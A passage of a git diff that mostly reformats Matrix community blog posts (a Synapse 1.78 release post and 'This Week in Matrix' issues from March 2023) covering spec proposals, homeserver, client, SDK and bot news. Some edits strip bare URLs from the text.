## Dept of Ping Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -411,6 +424,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|rom4nik.pl|649| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/02/2023-02-28-synapse-1-78-released.md b/content/blog/2023/02/2023-02-28-synapse-1-78-released.md index daecd91c9..0585dfcd8 100644 --- a/content/blog/2023/02/2023-02-28-synapse-1-78-released.md +++ b/content/blog/2023/02/2023-02-28-synapse-1-78-released.md @@ -44,7 +44,6 @@ filed an issue. Finally, for those deployments using workers, v1.78.0 fixed a bug introduced in Synapse 1.76 where 5s delays would occasionally occur. - ## Everything else See the full [changelog](https://github.com/matrix-org/synapse/releases/tag/v1.78.0) for a @@ -58,6 +57,3 @@ V02460, and thezaidbintariq. We are also grateful to anyone helping us make Synapse better by sharing their feedback and reporting issues, or helping with community support questions. - - - diff --git a/content/blog/2023/03/2023-03-03-this-week-in-matrix-2023-03-03.md b/content/blog/2023/03/2023-03-03-this-week-in-matrix-2023-03-03.md index 1404ce674..e48fe9380 100644 --- a/content/blog/2023/03/2023-03-03-this-week-in-matrix-2023-03-03.md +++ b/content/blog/2023/03/2023-03-03-this-week-in-matrix-2023-03-03.md @@ -15,50 +15,50 @@ category = ["This Week in Matrix"] [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC3973: Search users in the user directory with the Widget API](https://github.com/matrix-org/matrix-spec-proposals/pull/3973) > * [MSC3972: Lexicographical strings as an ordering mechanism](https://github.com/matrix-org/matrix-spec-proposals/pull/3972) > * [MSC3971: Sharing image packs](https://github.com/matrix-org/matrix-spec-proposals/pull/3971) -> +> > **MSCs in Final Comment Period:** -> +> > * [MSC3966: `event_property_contains` push rule condition](https://github.com/matrix-org/matrix-spec-proposals/pull/3966) (merge) > * [MSC3873: event\_match dotted keys](https://github.com/matrix-org/matrix-spec-proposals/pull/3873) (merge) > * [MSC3758: Add `event_property_is` push rule condition kind](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) (merge) -> +> > **Accepted MSCs:** > > * *No MSCs were accepted this week.* > > **Closed MSCs:** -> +> > * [MSC3887: List matching push rules](https://github.com/matrix-org/matrix-spec-proposals/pull/3887) -> +> > ## Spec Updates -> +> > Other than spec text fixes in the [matrix-spec repo](https://github.com/matrix-org/matrix-spec/pulls?q=is%3Apr+sort%3Aupdated-desc), the Spec Core Team has mainly been focusing on push notifications, push rules and generally improving notifications across Matrix. This includes improving behaviour such as accidentally notifying someone when you mention their name, accidentally notifying people when you reply to a message, accidentally notifying when you edit a message and so on. The relevant MSCs are [MSC3958](https://github.com/matrix-org/matrix-spec-proposals/pull/3958), [MSC3873](https://github.com/matrix-org/matrix-spec-proposals/pull/3873), [MSC3966](https://github.com/matrix-org/matrix-spec-proposals/pull/3966) and [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758). -> +> > In addition, review of [MSC3575](https://github.com/matrix-org/matrix-spec-proposals/pull/3575) (Sliding Sync) and other sliding sync MSCs saw some in-depth review from [Nico](https://github.com/deepbluev7). -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3013: Encrypted Push](https://github.com/matrix-org/matrix-spec-proposals/pull/3013)! -> +> > When you get a push notification for a new message on your phone, you may wonder how that message travels from your homeserver to you. Typically it isn't done directly - instead, when you receive a message that should notify you, your homeserver will generate a push notification specifically for you, and send this off to a Matrix Push Gateway. That Push Gateway is then configured to send your notification off to a service which knows how to route it to your device. This is usually Apple's Push Notification Service in the case of iOS devices, or Google's Firebase Cloud Messaging service in the case of Android devices (though FCM supports iOS devices too!). Your phone's OS will keep a consistent connection to one of these services if an app has registered for push notifications, and thus you can receive notifications from apps even when your Matrix client is not running. -> +> > But doesn't that leak all of your message notifications to Apple or Google? 😱 Not quite. While clients can choose to include all contents of a message in a push notification, most instead opt for only including the event's ID. When the push notification containing that event ID reaches your phone, it wakes up a small portion of your Matrix client which goes and fetches the full message content from the homeserver (plus encryption keys if the message needs to be decrypted). This way, you can still get a notification without your Matrix client needing to be open all the time. However, some metadata (such as when you are getting a notification) is still leaked to Apple/Google. Since the third-party service knows the event ID, it can correlate which users are in the same room by cross-referencing event IDs in notifications across multiple users. -> +> > It's also a bit of a resource drain that the client needs to go and talk to the homeserver to fetch the full event content. Ideally we'd just include it all in the notification - but then we end up sharing too much information with the push provider! -> +> > This MSC proposes a solution; encrypt the message content and send that in the notification! Message contents are encrypted using a public key provided by the client to the homeserver when registering for push notifications. The ciphertext passes through the Push Gateway (which may be run by a separate entity to your homeserver) and the Push Notification service (run by Apple, Google, etc.) and then finally down to your client where it is decrypted without the need for a web request as the private key will just be stored in the client. -> +> > And since a separate encryption key is being used per-device, ciphertexts of the same event will differ when encrypted for different users - eliminating the Push Gateway/Push Notification Service from being to correlate notifications across users (timing attacks are still possible, but this can be reduced by introducing a small amount of jitter into when notifications are sent out). -> +> > Anyhoo, if you're big on privacy (or security against those running Push Gateway/Notification Services), check out this MSC! @@ -73,15 +73,15 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > Welcome to another edition of the Synapse section of TWIM. This week > we've released Synapse v1.78.0, packed with features and bugfixes. -> +> > Some notable highlights include: -> +> > * an update to the command line export data tool > * implemented the experimental `exact_event_match` push rule condition from [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) > * implemented [MSC3873](https://github.com/matrix-org/matrix-spec-proposals/pull/3873) to disambiguate push rule keys with dots in them. > * allow Synapse to use a specific Redis [logical database](https://redis.io/commands/select/) in worker-mode deployments. > * fixed a bug introduced in Synapse 1.76 where 5 second delays would occasionally occur in deployments using workers. -> +> > Plus much more! You can check out the details [here](vector://vector/webapp/(https://matrix.org/blog/posts)) or take a deep dive in the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.78.0). ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -91,9 +91,9 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) reports > This week, seven additional endpoints from the synapse admin API have been ported to Construct. These include user room listings, account data, devices, pushers, and forward extremities pruning. This week it also became easier for admins to tune database options to meet their needs through the configuration system. To put things into perspective, the server now has 2184 configurable items which can be set by an environment variable. Construct also has 6177 statistical items which can be reported to a Prometheus metrics daemon. -> +> > Lastly I would like to share good news on the compatibility front after taking some time to investigate why Construct and Conduit have trouble federating. I reached out with a patchset to the folks over at Ruma and I would like to take this opportunity to commend their hospitality. Their conduct has been nothing short of diplomatic, giving confidence we can now iron out any kinks in the coming weeks. -> +> > Find it at [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) ## Dept of Clients 📱 @@ -104,7 +104,7 @@ A client for matrix, the decentralized communication protocol [Carl Schwan](https://matrix.to/#/@carl:kde.org) says -> This Monday, I attended a workshop from the European Commission in Brussels around interoperability between messaging services under the Digital Market Act. This was quite interesting and I wrote about it on my blog https://carlschwan.eu/2023/03/02/digital-market-act-workshop-in-brussels +> This Monday, I attended a workshop from the European Commission in Brussels around interoperability between messaging services under the Digital Market Act. This was quite interesting and I wrote about it on my blog ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -112,8 +112,8 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Johannes Marbach](https://matrix.to/#/@johannesm:element.io) reports -> * This week we’ve been really doubling down on fixing bugs from our backlog. Included in this are items such as ‘stuck notifications’ and ensuring that messages are sent in the correct order when connectivity is interrupted. -> * While we’re looking at stuck notifications issues, we’re also taking the opportunity to redesign our notifications settings screen. We plan on simplifying the options by reducing some noise and improving the copy. +> * This week we’ve been really doubling down on fixing bugs from our backlog. Included in this are items such as ‘stuck notifications’ and ensuring that messages are sent in the correct order when connectivity is interrupted. +> * While we’re looking at stuck notifications issues, we’re also taking the opportunity to redesign our notifications settings screen. We plan on simplifying the options by reducing some noise and improving the copy. > * We have also started a design investigation into how to improve the accessibility of our product with labels and greater contrast. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -125,7 +125,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * This week we’ve been focussed on fixing the bug whereby a message will show as encrypted in the room list, but is actually decrypted when you’re viewing the timeline. > * In labs; Check out our rich text editor, it’s in progress and improving every update! As with all our features, please test them out and leave us feedback. > * The public test flight for Element X is now available. More details in [#element-x-ios:matrix.org](https://matrix.to/#/#element-x-ios:matrix.org) -> - Work is progressing well and our current focus is joining and creating rooms +> * Work is progressing well and our current focus is joining and creating rooms ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -144,10 +144,10 @@ Secure and independent communication for Android, connected via Matrix. Come tal [imbev](https://matrix.to/#/@imbev:matrix.org) announces > Social Media app powered by Matrix -> +> > matrix-social is now known as Somix. -> -> The git repo has been moved to https://codeberg.org/imbev/Somix +> +> The git repo has been moved to ## Dept of SDKs and Frameworks 🧰 @@ -155,7 +155,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Johannes Marbach](https://matrix.to/#/@johannesm:element.io) reports -> The team maintaining matrix-js-sdk are currently discussing deprecation of the browserify-based distribution channel. By our current analysis, usage seems fairly low while at the same time it's posing drastic technological challenges to us during the integration of matrix-rust-sdk's cryptography module. If you are a current user of the browserified release of the SDK, we'd like to hear from you in https://github.com/matrix-org/matrix-js-sdk/issues/3189. +> The team maintaining matrix-js-sdk are currently discussing deprecation of the browserify-based distribution channel. By our current analysis, usage seems fairly low while at the same time it's posing drastic technological challenges to us during the integration of matrix-rust-sdk's cryptography module. If you are a current user of the browserified release of the SDK, we'd like to hear from you in . ### mautrix-go @@ -168,9 +168,9 @@ Secure and independent communication for Android, connected via Matrix. Come tal [mr-demo](https://matrix.to/#/@mr-demo:matrix.org) says > I'm excited to share that I've made significant progress on my Elm SDK for Matrix! Last time, I mentioned that a version 1.0.0 release was approaching, and today I have great news - I've got a working MVP! While it's not ready for use yet, it's a significant step forward. -> +> > To give you a taste of what the SDK can do, I've written some simple code that demonstrates how to use it to authenticate with a Matrix server and send messages to a room. Take a look: -> +> > ```elm > -- Example code from the MVP of the new Elm SDK for Matrix > -- It's a bit simplified, but it shows the idea of the SDK. @@ -185,18 +185,18 @@ Secure and independent communication for Android, connected via Matrix. Come tal > > init : ( Model, Cmd Msg ) > init = -> let -> cred = -> Matrix.fromAccessToken -> { baseUrl = "https://matrix.example.org" -> , accessToken = "my-personal-access-token" -> } -> in -> ( cred, Matrix.sync cred ) +> let +> cred = +> Matrix.fromAccessToken +> { baseUrl = "https://matrix.example.org" +> , accessToken = "my-personal-access-token" +> } +> in +> ( cred, Matrix.sync cred ) > ``` -> +> > I've built an incredibly basic client that managed to compress to under 36kB (for scale: Hydrogen is around 748kB) of gzipped JavaScript. The final version will be a bit larger, but this SDK might make way for very compact asset sizes. -> +> > Feel free to reach out at Bram if you'd like to know more about when the first version is coming out! ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -213,7 +213,6 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt ## Dept of Ops 🛠 - ### mnotify [stefan](https://matrix.to/#/@rumpelsepp:hackbrettl.de) reports @@ -227,13 +226,13 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) reports > Thanks to [Benjamin Kampmann](https://github.com/gnunicorn), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now install and configure the [Rageshake](https://github.com/matrix-org/rageshake) bug report server. -> +> > Additional details are available in our [Setting up Rageshake](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-rageshake.md) documentation page. [Slavi](https://matrix.to/#/@slavi:devture.com) says > [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) continues its migration to [Traefik](https://traefik.io/) as its main reverse-proxy like [we've announced a few weeks ago](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/10b53503704d192d29008745f7d9c28e38f58e25/CHANGELOG.md#backward-compatibility-reverse-proxy-configuration-changes-and-initial-traefik-support). -> +> > Traces of [nginx](https://nginx.org/) can still be found and we still keep nginx compatibility for now, but we've already [switched the default reverse-proxy to Traefik](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/10b53503704d192d29008745f7d9c28e38f58e25/CHANGELOG.md#traefik-is-the-default-reverse-proxy-now) for new installations and are seriously urging existing users to make the switch as well. ## Dept of Bots 🤖 @@ -245,7 +244,7 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [HER0](https://matrix.to/#/@HER0:matrix.org) reports > Events can now be marked as not requiring ownership of the game in order to attend! For example, there is a [Keep Talking and Nobody Explodes event](https://friendlylinuxplayers.org/events/7a01da952805b191) scheduled for later this month. Anyone can participate by joining our Mumble server at the scheduled time and having access to a web browser. -> +> > In addition, when listing upcoming events (`!f events`), they are now sorted by the time that the event takes place at. ## Dept of Ping @@ -253,6 +252,7 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -269,6 +269,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|settgast.org|1009| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/03/2023-03-10-this-week-in-matrix-2023-03-10.md b/content/blog/2023/03/2023-03-10-this-week-in-matrix-2023-03-10.md index 8d3bfe18c..c9561bf51 100644 --- a/content/blog/2023/03/2023-03-10-this-week-in-matrix-2023-03-10.md +++ b/content/blog/2023/03/2023-03-10-this-week-in-matrix-2023-03-10.md @@ -12,43 +12,42 @@ category = ["This Week in Matrix"] {{ youtube_player(video_id="HlsMMzTFZ_A") }} - ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC3975: rel\_type for Replies](https://github.com/matrix-org/matrix-spec-proposals/pull/3975) -> +> > **MSCs in Final Comment Period:** -> +> > * _No MSCs are in FCP._ -> +> > **Accepted MSCs:** -> +> > * [MSC3966: `event_property_contains` push rule condition](https://github.com/matrix-org/matrix-spec-proposals/pull/3966) > * [MSC3873: event\_match dotted keys](https://github.com/matrix-org/matrix-spec-proposals/pull/3873) > * [MSC3758: Add `event_property_is` push rule condition kind](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) -> +> > **Closed MSCs:** -> +> > * _No MSCs were closed/rejected this week._ -> +> > ## Spec Updates -> +> > Review this week from the SCT focused on the future of OIDC and logging in via a QR code ([MSC3906](https://github.com/matrix-org/matrix-doc/issues/3906)) - a feature other platforms have and one I would love immensely. Fixing notifications ([MSC3966](https://github.com/matrix-org/matrix-doc/issues/3966), [MSC3873](https://github.com/matrix-org/matrix-doc/issues/3873), [MSC3758](https://github.com/matrix-org/matrix-doc/issues/3758), [MSC3952](https://github.com/matrix-org/matrix-doc/issues/3952), [MSC3958](https://github.com/matrix-org/matrix-doc/issues/3958)) as per last week, as well as trying to finally get [MSC2677](https://github.com/matrix-org/matrix-doc/issues/2677) (spec'ing the current state of Annotations and Reactions) into FCP. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3972](https://github.com/matrix-org/matrix-doc/issues/3972): Lexicographical strings as an ordering mechanism! -> -> While there already is an MSC for a top-level ordering of Spaces in use across some client implementations today ([MSC3230](https://github.com/matrix-org/matrix-doc/issues/3230)), the algorithm recommended for clients to implement apparently has some consistency flaws, leading to edge cases. [MSC3972](https://github.com/matrix-org/matrix-doc/issues/3972) attempts to address this by providing a different algorithm that does not have these flaws. A real-world implementation of the algorithm is also available today in Kotlin at https://github.com/Dominaezzz/MatrixSort. -> +> +> While there already is an MSC for a top-level ordering of Spaces in use across some client implementations today ([MSC3230](https://github.com/matrix-org/matrix-doc/issues/3230)), the algorithm recommended for clients to implement apparently has some consistency flaws, leading to edge cases. [MSC3972](https://github.com/matrix-org/matrix-doc/issues/3972) attempts to address this by providing a different algorithm that does not have these flaws. A real-world implementation of the algorithm is also available today in Kotlin at . +> > Neither of these algorithms have been merged to the spec yet, but this new MSC may finally push this conversation forwards! I recommend client developers give it a read and leave their feedback as Pull Request Review comments on the MSC. @@ -62,7 +61,7 @@ An open source Matrix homeserver implementation written from scratch in ANSI C a [Jordan Bancino](https://matrix.to/#/@jordan:bancino.net) reports > Hey everyone, it's been a while since I've posted an update here, but I'm pleased to report that progress on **Telodendria** is still steady. Here's a small glimpse into what's happening with the project: -> +> > * **v0.2.1:** The second major release of **Telodendria** was published earlier this week. **Telodendria** still isn't much yet, but the user authentication section of the client-server specification is just about complete. This means you can register for accounts, log in and get access tokens, and then log out. All the stuff that goes with that, including the static login fallback page, and user interactive authentication is in place. > * **What's Next:** I'm hoping to start working on the account management endpoints next. I also want to start building out an HTTP client for federation, and I want to move the configuration file into the database, so that **Telodendria** is configured via an admin API endpoint instead of a file. The thinking here is that this enables **Telodendria** to be configured at runtime, without having to restart the process to apply configuration changes. > * **Help Wanted:** As always, I could use your help. This is a huge project, and I am very busy so I can't dedicate as much time as I'd like to it. If you find **Telodendria** interesting and want it to continue, feel free to join us over in [#telodendria-general:bancino.net](https://matrix.to/#/#telodendria-general:bancino.net), write some code and documentation, donate to the project, or any and all of the above! @@ -75,16 +74,17 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > Welcome to another Friday and another edition of the Synapse section of TWIM. This week > we've released Synapse v1.79.0rc1. -> +> > Some notable highlights include: -> +> > * Added two new Third Party Rules module API callbacks[`on_add_user_third_party_identifier`](https://matrix-org.github.io/synapse/v1.79/modules/third_party_rules_callbacks.html#on_add_user_third_party_identifier) and [`on_remove_user_third_party_identifier`](https://matrix-org.github.io/synapse/v1.79/modules/third_party_rules_callbacks.html#on_remove_user_third_party_identifier) -> - Added experimental support for [MSC3967](https://github.com/matrix-org/matrix-spec-proposals/pull/3967) to not require UIA for setting up cross-signing on first use. -> - Fixed a long-standing bug where an initial sync would not respond to changes to the list of ignored users if there was an initial sync cached. -> - Fixed a long-standing bug where the user directory search was not case-insensitive for accented characters -> - Documented how to use caches in a module +> +> * Added experimental support for [MSC3967](https://github.com/matrix-org/matrix-spec-proposals/pull/3967) to not require UIA for setting up cross-signing on first use. +> * Fixed a long-standing bug where an initial sync would not respond to changes to the list of ignored users if there was an initial sync cached. +> * Fixed a long-standing bug where the user directory search was not case-insensitive for accented characters +> * Documented how to use caches in a module > -> Plus much more! You can check out the details [here](https://matrix.org/blog/posts) or take a deep dive in the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.79.0rc1). +> Plus much more! You can check out the details [here](https://matrix.org/blog/posts) or take a deep dive in the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.79.0rc1). ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -93,7 +93,7 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) reports > This week Construct gained support for freshly minted [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) and [MSC3966](https://github.com/matrix-org/matrix-spec-proposals/pull/3966) enriching the pushrules subsystem. I'd like to thank Giovanni Bottaro for contributing a patch which fixes updates to the public rooms directory. I'd like to thank @qg:schildi.chat for reporting two other issues which I've been able to push fixes for this week. I'd also like to thank Yan Minari for refactoring the nix build up to date in preparation for Construct's 1.0 release. -> +> > The saga continues over at [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) ## Dept of Clients 📱 @@ -105,20 +105,19 @@ A terminal-based Matrix client that uses Vim keybindings [ulyssa](https://matrix.to/#/@ulyssa:0x.badd.cafe) says > iamb had a new release this week. Release v0.0.6 includes: -> +> > * Support for tab completion of usernames, aliases, and commands. > * A new command for creating rooms and spaces > * Bug fixes for edits and creating new direct messages > * Improvements to text wrapping in messages > * NetBSD's pkgsrc-current now includes a package for iamb - ### mnotify ([Website](https://github.com/rumpelsepp/mnotify)) [stefan](https://matrix.to/#/@rumpelsepp:hackbrettl.de) says > [mnotify](https://github.com/rumpelsepp/mnotify) gained a few features: -> +> > * Attachments can now be sent to a room with `mn send -r "$ROOM_ID" --attachment CAT.jpg`. > * `mn sync` gained a flag `--raw` which prints all received events, including e.g. presence or typing. > * `mn rooms` can list all rooms you are in, including room members and avatars. @@ -136,16 +135,16 @@ Desktop client for Matrix using Qt and C++17. [LorenDB](https://matrix.to/#/@lorendb:nheko.im) announces > We've had some fun and useful things happening in the past two weeks! -> +> > * red_sky (nheko.im) worked on automating the release process to automatically create a release when a tag is pushed. This might not sound like much, but it makes life easier for maintainers who would otherwise have to waste time manually creating releases. After all, why would you want to write release notes when you could be writing code? > * Nico tweaked styling for HTML tables to increase the padding. Thanks to Cadair for the suggestion! > * Nico also fixed a bug that showed avatar changes as somebody joining a room. I seem to recall this also happening when users changed their display names, but I can't reproduce that behavior. Either way, it is nice to have this fix in place! > * I worked on closing some of our issues, and I'm happy to report that there are fewer ways to be unpleasantly surprised by the UI. For example, if you have turned on the setting to make emoji-only messages larger, all other emojis will also get a bit of a size boost to make them easier to read. > * On that note, I recently went through the issue list and closed a number of outdated issues that had already been fixed, because 260+ issues is obviously too many for any self-respecting project... right? ;) > * I also overhauled nheko's behavior when you attempt to use an invalid /command. Originally, nheko would eat any invalid commands (e.g. sending `/foo` would clear the input box but would not send a message). Now, if you type `/foo`, you will see a warning informing you that you are about to send a message that says `/foo` into the chat instead of running a command `/foo`. If you choose to disregard the warnings and hit Enter, nheko will indeed send a message saying `/foo`! -> +> > But that's not all: this week, mtxclient gained the ability to properly handle `m.room.message` events that have an unknown `msgtype`. With that in place, I'm working on implementing that on the nheko side. Once this work is done, you will be able to read messages that others send from Element with fireworks! Furthermore, I'm adding a bonus feature to nheko: as a proof-of-concept for fully implementing this unknown message handling, I've got a working implementation of Element's rainfall effect for those of you who like fancy effects! (All the rest of you can just turn those off in the settings, I guess.) -> +> > A note for our Mac users: somebody opened [an issue](https://github.com/Nheko-Reborn/nheko/issues/1401) last week notifying us that nheko couldn't be installed on OS X 11.1. Nico has fixed this, but you will need to either wait for the next release or install one of our nightly builds (#nheko-nightlies:neko.dev). ### Ement.el ([website](https://github.com/alphapapa/ement.el)) @@ -155,26 +154,26 @@ Matrix client for Emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) says > [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for the [GNU Emacs](https://www.gnu.org/software/emacs/) text editor and Lisp environment, has been released at v0.7. Changes in this version include: -> -> *Additions* -> -> - Command `ement-room-override-name` sets a local override for a room's display name. (Especially helpful for 1:1 rooms and bridged rooms. See [MSC3015](https://github.com/matrix-org/matrix-spec-proposals/pull/3015#issuecomment-1451017296).) -> -> *Changes* -> -> - Improve display of room tombstones (displayed at top and bottom of buffer, and new room ID is linked to join). -> - Use descriptive prompts in `ement-leave-room` and `ement-forget-room` commands. -> -> *Fixes* -> -> - Command `ement-view-space` when called from a room buffer. (Thanks to [Richard Brežák](https://github.com/MagicRB) for reporting.) -> - Don't call `display-buffer` when reverting room list buffer. (Fixes [#121](https://github.com/alphapapa/ement.el/issues/121). Thanks to [mekeor](https://github.com/mekeor) for reporting.) -> - Retry sync for network timeouts. (Accidentally broken in v0.6.) -> -> *Internal* -> -> - Function `ement-put-account-data` accepts `:room` argument to put on a room's account data. -> +> +> _Additions_ +> +> * Command `ement-room-override-name` sets a local override for a room's display name. (Especially helpful for 1:1 rooms and bridged rooms. See [MSC3015](https://github.com/matrix-org/matrix-spec-proposals/pull/3015#issuecomment-1451017296).) +> +> _Changes_ +> +> * Improve display of room tombstones (displayed at top and bottom of buffer, and new room ID is linked to join). +> * Use descriptive prompts in `ement-leave-room` and `ement-forget-room` commands. +> +> _Fixes_ +> +> * Command `ement-view-space` when called from a room buffer. (Thanks to [Richard Brežák](https://github.com/MagicRB) for reporting.) +> * Don't call `display-buffer` when reverting room list buffer. (Fixes [#121](https://github.com/alphapapa/ement.el/issues/121). Thanks to [mekeor](https://github.com/mekeor) for reporting.) +> * Retry sync for network timeouts. (Accidentally broken in v0.6.) +> +> _Internal_ +> +> * Function `ement-put-account-data` accepts `:room` argument to put on a room's account data. +> > Feel free to join us in `ement.el:matrix.org`! ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -216,12 +215,14 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) reports > Just another small release of Trixnity (v3.5.0): -> +> > improvements: +> > * expose more device trust level information (breaking change) -> -> +> +> > bugfixes: +> > * fix too long open transaction in IndexedDBMediaStore (relevant for larger media files) > * allow cancel device verification before any device answered @@ -246,15 +247,15 @@ Command line admin tool for Synapse (Matrix reference homeserver) [jojo](https://matrix.to/#/@jojo:peek-a-boo.at) announces > It's been some time since `synadm` last showed up on TWIM, it was around summer 2022. The biggest news is that [Ascurius](https://matrix.to/#/@martin:matrix.ascurius.com) and me just welcomed a new member to the team: [jacksonchen666](https://matrix.to/#/@jacksonchen666:jacksonchen666.com). We reached out since he seemed to care about `synadm`. He had submitted a feature but we also caught him tidying up "unloved" issues. He has a good sense for concise solutions and accurate documentation. He runs [a website](https://jacksonchen666.com/) and [a blog](https://jacksonchen666.com/posts/) where he talks about "things". -> +> > Here's more we'd like to spread: -> +> > * A random list of new commands, [read details in the docs to learn what they do](https://synadm.readthedocs.io/en/dev/index_cli_reference.html): `synadm notice send`, `synadm user 3pid`, `synadm user auth-provider`, `synadm room block/unblock` `synadm room block-status`, `synadm media unquarantine`, `synadm user modify --user-type ...`, `synadm user deactivate-regex`. > * A new output mode `minified` was added and the original `json` mode was improved to now produce nicely human readable json. > * We finally have [a contributing documentation](https://github.com/JOJ0/synadm/blob/master/CONTRIBUTING.md) and hope it'll make collaboration with our contributors even better. > * We introduced an auto-linter based on `flake8` into our CI pipeline to catch code formatting issues quicker. > * The new [Scripting Examples chapter](https://synadm.readthedocs.io/en/latest/examples.html). Please submit your one-liners or other helpful scripting examples via a pull-request or just let us know in [#synadm:peek-a-boo.at](https://matrix.to/#/#synadm:peek-a-boo.at) -> +> > By the way, [jacksonchen666](https://matrix.to/#/@jacksonchen666:jacksonchen666.com) searched for `synadm` occurrences in the TWIM history and we found an article "next to us" about the [Matrix Community Summit 2022](https://cfp.summit2022.matrixmeetup.de/matrix-summit-conference-2022/) that took place in Berlin last summer. It reminded us that it was a blast! Thanks dear organizers, we hope you manage to do it again! Here's [some musical memories in the name of our reference homeserver](https://soundcloud.com/jojotodos/sets/the-synapse-versions). ### matrix-docker-ansible-deploy ([website](https://github.com/spantaleev/matrix-docker-ansible-deploy)) @@ -264,17 +265,17 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) announces > Thanks to [Benjamin Kampmann](https://github.com/gnunicorn) for [getting it started](https://github.com/spantaleev/matrix-docker-ansible-deploy/pull/2515), [FSG-Cat](https://github.com/FSG-Cat) for fixing it up and me ([Slavi](https://github.com/spantaleev)) for polishing it up, [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) now supports installing the [Sliding Sync Proxy](https://github.com/matrix-org/sliding-sync). -> +> > Running this additional component allows playbook users to easily test the new (still beta) Element X clients ([Element X iOS](https://github.com/vector-im/element-x-ios) and [Element X Android](https://github.com/vector-im/element-x-android)). -> +> > To get started, see our [Setting up Sliding Sync Proxy](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-sliding-sync-proxy.md) documentation page. ## Dept of Bots 🤖 [kfatehi](https://matrix.to/#/@kfatehi:matrix.org) announces -> This is not a project but an idea nevertheless: Produced a quick and dirty PoC of an OpenAI chat completion tool used from within Element Web/Desktop. Video can be found here https://github.com/matrix-hacks/openai-reply-generator -> +> This is not a project but an idea nevertheless: Produced a quick and dirty PoC of an OpenAI chat completion tool used from within Element Web/Desktop. Video can be found here +> > explored making it shippable via bot, bridge, widget, and puppet-client but i have yet to find an experience that i like completely yet but still worth sharing how easy it is to test ideas in Matrix (which through bridges, can touch all media) ## Dept of Interesting Projects 🛰️ 